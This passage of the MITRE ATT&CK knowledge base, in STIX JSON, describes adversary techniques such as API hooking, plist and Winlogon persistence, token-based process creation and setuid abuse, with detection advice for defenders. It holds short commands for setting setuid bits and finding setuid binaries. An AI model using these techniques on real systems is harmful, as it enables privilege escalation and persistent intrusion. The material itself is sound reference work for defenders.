Movement.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","Scheduled Job: Scheduled Job Creation"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":[],"x_mitre_effective_permissions":[],"x_mitre_remote_support":true,"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"url":"https://attack.mitre.org/techniques/T1179","external_id":"T1179","source_name":"mitre-attack"},{"source_name":"Microsoft Hook Overview","description":"Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.","url":"https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"},{"source_name":"Adlice Software IAT Hooks Oct 2014","description":"Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.","url":"https://www.adlice.com/userland-rootkits-part-1-iat-hooks/"},{"source_name":"MWRInfoSecurity Dynamic Hooking 2015","description":"Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.","url":"https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/"},{"source_name":"HighTech Bridge Inline Hooking Sept 2011","description":"Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.","url":"https://www.exploit-db.com/docs/17802.pdf"},{"source_name":"Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017","description":"Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.","url":"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918"},{"source_name":"Symantec Windows Rootkits","description":"Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.","url":"https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf"},{"source_name":"Volatility Detecting Hooks Sept 2012","description":"Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.","url":"https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html"},{"source_name":"PreKageo Winhook Jul 2011","description":"Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.","url":"https://github.com/prekageo/winhook"},{"source_name":"Jay GetHooks Sept 2011","description":"Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.","url":"https://github.com/jay/gethooks"},{"source_name":"Zairon Hooking Dec 2006","description":"Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.","url":"https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/"},{"source_name":"EyeofRa Detecting Hooking June 2017","description":"Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.","url":"https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/"},{"source_name":"GMER Rootkits","description":"GMER. (n.d.). GMER. Retrieved December 12, 2017.","url":"http://www.gmer.net/"},{"source_name":"Microsoft Process Snapshot","description":"Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.","url":"https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx"},{"source_name":"StackExchange Hooks Jul 2012","description":"Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.","url":"https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis"}],"modified":"2020-11-10T18:29:30.516Z","name":"Hooking","description":"Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. \n\nHooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools  (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors  (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes  (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b","type":"attack-pattern","created":"2020-10-02T16:53:16.526Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1595","url":"https://attack.mitre.org/techniques/T1595"},{"source_name":"Botnet Scan","url":"https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf","description":"Dainotti, A. et al. (2012). Analysis of a “/0” Stealth Scan from a Botnet. Retrieved October 20, 2020."},{"source_name":"OWASP Fingerprinting","url":"https://wiki.owasp.org/index.php/OAT-004_Fingerprinting","description":"OWASP Wiki. (2018, February 16). OAT-004 Fingerprinting. Retrieved October 20, 2020."}],"modified":"2022-03-08T20:58:13.661Z","name":"Active Scanning","description":"Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.\n\nAdversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a","created":"2020-01-24T20:02:59.149Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1547.011","url":"https://attack.mitre.org/techniques/T1547/011"},{"source_name":"fileinfo plist file description","url":"https://fileinfo.com/extension/plist","description":"FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021."},{"source_name":"wardle artofmalware volume1","url":"https://taomm.org/vol1/pdfs.html","description":"Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021."}],"x_mitre_deprecated":false,"revoked":true,"description":"Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, <code>Info.plist</code>, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the <code>DYLD_INSERT_LIBRARIES</code> key combined with a path to a malicious dylib under the <code>EnvironmentVariables</code> key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the <code>LSEnvironment</code> key in the application's <code>Info.plist</code> file.(Citation: wardle artofmalware volume1)","modified":"2022-04-20T21:06:07.560Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Plist Modification","x_mitre_detection":"Monitor for common command-line editors used to modify plist files located in auto-run locations, such as <code>~/LaunchAgents</code>, <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>, and an application's <code>Info.plist</code>. \n\nMonitor for plist file modification immediately followed by code execution from <code>~/Library/Scripts</code> and <code>~/Library/Preferences</code>. Also, monitor for significant changes to any path pointers in a modified plist.\n\nIdentify new services executed from plist modified in the previous user's session. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["File: File Modification","Service: Service Creation","Command: Command Execution","Process: Process Creation"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["User","Administrator"],"x_mitre_effective_permissions":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","type":"attack-pattern","created":"2020-01-30T13:58:14.373Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1548","url":"https://attack.mitre.org/techniques/T1548"}],"modified":"2022-03-21T19:01:25.043Z","name":"Abuse Elevation Control Mechanism","description":"Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\n\nConsider monitoring for <code>/usr/libexec/security_authtrampoline</code> executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.\n\nOn Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.\n\nThere are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Metadata","Process: OS API Execution","Process: Process Creation","File: File Modification","Process: Process Metadata","Windows Registry: Windows Registry Key Modification","Command: Command Execution"],"x_mitre_permissions_required":["Administrator","User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Vadim Khrykov"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf","type":"attack-pattern","created":"2020-02-18T16:48:56.582Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1134.002","url":"https://attack.mitre.org/techniques/T1134/002"},{"source_name":"Microsoft RunAs","url":"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11)","description":"Microsoft. (2016, August 31). Runas. Retrieved October 1, 2021."},{"url":"https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing","description":"Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.","source_name":"Microsoft Command-line Logging"}],"modified":"2021-10-17T14:51:48.978Z","name":"Create Process with Token","description":"Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as <code>CreateProcessWithTokenW</code> and <code>runas</code>.(Citation: Microsoft RunAs)\n\nCreating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as <code>CreateProcessWithTokenW</code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: OS API Execution","Command: Command Execution"],"x_mitre_defense_bypassed":["Windows User Account Control","System access controls","File system access controls"]},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9","created":"2020-01-30T14:11:41.212Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1548.001","url":"https://attack.mitre.org/techniques/T1548/001"},{"source_name":"GTFOBins Suid","url":"https://gtfobins.github.io/#+suid","description":"Emilio Pinna, Andrea Cardaci. (n.d.). GTFOBins. Retrieved January 28, 2022."},{"source_name":"OSX Keydnap malware","url":"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/","description":"Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017."},{"source_name":"setuid man page","url":"http://man7.org/linux/man-pages/man2/setuid.2.html","description":"Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The <code>chmod</code> command can set these bits with bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>. This will enable the setuid bit. To enable the setgit bit, <code>chmod 2775</code> and <code>chmod g+s</code> can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>. The <code>find</code> command can also be used to search for such files. For example, <code>find / -perm +4000 2>/dev/null</code> can be used to find files with setuid set and <code>find / -perm +2000 2>/dev/null</code> may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)","modified":"2022-04-19T15:07:53.060Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Setuid and Setgid","x_mitre_detection":"Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["File: File Modification","Command: Command Execution","File: File Metadata"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["User"],"x_mitre_effective_permissions":[],"x_mitre_defense_bypassed":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35","created":"2020-01-24T16:59:59.688Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1547.004","url":"https://attack.mitre.org/techniques/T1547/004"},{"source_name":"Cylance Reg Persistence Sept 2013","url":"https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order","description":"Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018."},{"source_name":"TechNet Autoruns","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."},{"url":"https://capec.mitre.org/data/definitions/579.html","source_name":"capec","external_id":"CAPEC-579"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.","modified":"2022-04-20T16:32:14.691Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Winlogon Helper DLL","x_mitre_detection":"Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns)  New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","Module: Module Load","Windows Registry: Windows Registry Key Modification"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["SYSTEM","Administrator"],"x_mitre_effective_permissions":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ryan Becwar","McAfee"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3","type":"attack-pattern","created":"2017-05-31T21:30:28.613Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1019","url":"https://attack.mitre.org/techniques/T1019"},{"external_id":"CAPEC-532","source_name":"capec","url":"https://capec.mitre.org/data/definitions/532.html"},{"url":"https://en.wikipedia.org/wiki/BIOS","description":"Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.","source_name":"Wikipedia BIOS"},{"url":"https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface","description":"Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.","source_name":"Wikipedia UEFI"},{"url":"http://www.uefi.org/about","description":"UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.","source_name":"About UEFI"},{"url":"http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research","description":"Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.","source_name":"MITRE Trustworthy Firmware Measurement"},{"url":"http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about","description":"Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.","source_name":"MITRE Copernicus"},{"url":"https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/","description":"Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.","source_name":"McAfee CHIPSEC Blog"},{"url":"https://github.com/chipsec/chipsec","description":"Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.","source_name":"Github CHIPSEC"},{"url":"http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html","description":"Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017.","source_name":"Intel HackingTeam UEFI Rootkit"}],"modified":"2020-03-30T19:16:29.473Z","name":"System Firmware","description":"The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd","type":"attack-pattern","created":"2020-02-11T18:26:36.444Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1021.003","url":"https://attack.mitre.org/techniques/T1021/003"},{"source_name":"Fireeye Hunting COM June 2019","url":"https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html","description":"Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019."},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx","description":"Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.","source_name":"Microsoft COM"},{"url":"https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx","description":"Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.","source_name":"Microsoft Process Wide Com Keys"},{"url":"https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1","description":"Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.","source_name":"Microsoft COM 